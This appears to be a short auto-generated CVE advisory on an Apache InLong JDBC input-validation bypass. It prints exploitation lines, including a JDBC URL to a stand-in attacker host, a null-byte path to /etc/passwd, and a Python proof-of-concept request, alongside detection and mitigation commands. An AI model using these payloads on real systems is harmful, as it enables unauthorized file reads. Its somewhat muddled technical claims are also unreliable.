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This vulnerability (CVE-2025-XXXX) in Apache InLong (versions 1.13.0 to 2.1.0) stems from improper handling of invisible characters in JDBC input validation. Attackers can exploit deserialization flaws by injecting crafted payloads containing non-printable characters (e.g., null bytes, whitespace) to bypass security checks. The system fails to properly sanitize these inputs, allowing malicious actors to manipulate file paths and read arbitrary files from the server. The flaw resides in the JDBC connector’s parsing logic, where injected characters evade regex filters, leading to unauthorized access.
DailyCVE Form:
Platform: Apache InLong
Version: 1.13.0 – 2.1.0
Vulnerability: JDBC Invisible Character Bypass
Severity: Moderate
Date: May 28, 2025
Prediction: Patch expected by June 10, 2025
What Undercode Say:
Exploitation:
- Craft malicious JDBC URL with invisible chars (e.g.,
jdbc:mysql://attacker.com/%00evilpath).
2. Use serialized payloads to bypass filters:
String maliciousPath = "file:///etc/passwd\u0000";
3. Trigger deserialization via InLong’s JDBC driver.
Detection:
grep -r "jdbc:.[\x00-\x1F]" /opt/inlong/config/
Mitigation:
1. Upgrade to InLong 2.2.0 immediately.
2. Input sanitization regex:
path = path.replaceAll("[\p{C}]", "");
3. Network controls:
iptables -A OUTPUT -p tcp --dport 3306 -j DROP
Log Analysis:
journalctl -u inlong | grep "JDBC Malformed"
Patch Verification:
curl -s http://localhost:8080/version | grep "2.2.0"
Exploit PoC (Disclosed):
import requests
payload = {"jdbcUrl": "jdbc:mysql://localhost/%00../../../etc/passwd"}
requests.post("http://target/inlong/api", json=payload)
Workaround:
Disable remote JDBC sources if unused:
<inlong-config> <jdbc enabled="false"/> </inlong-config>
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
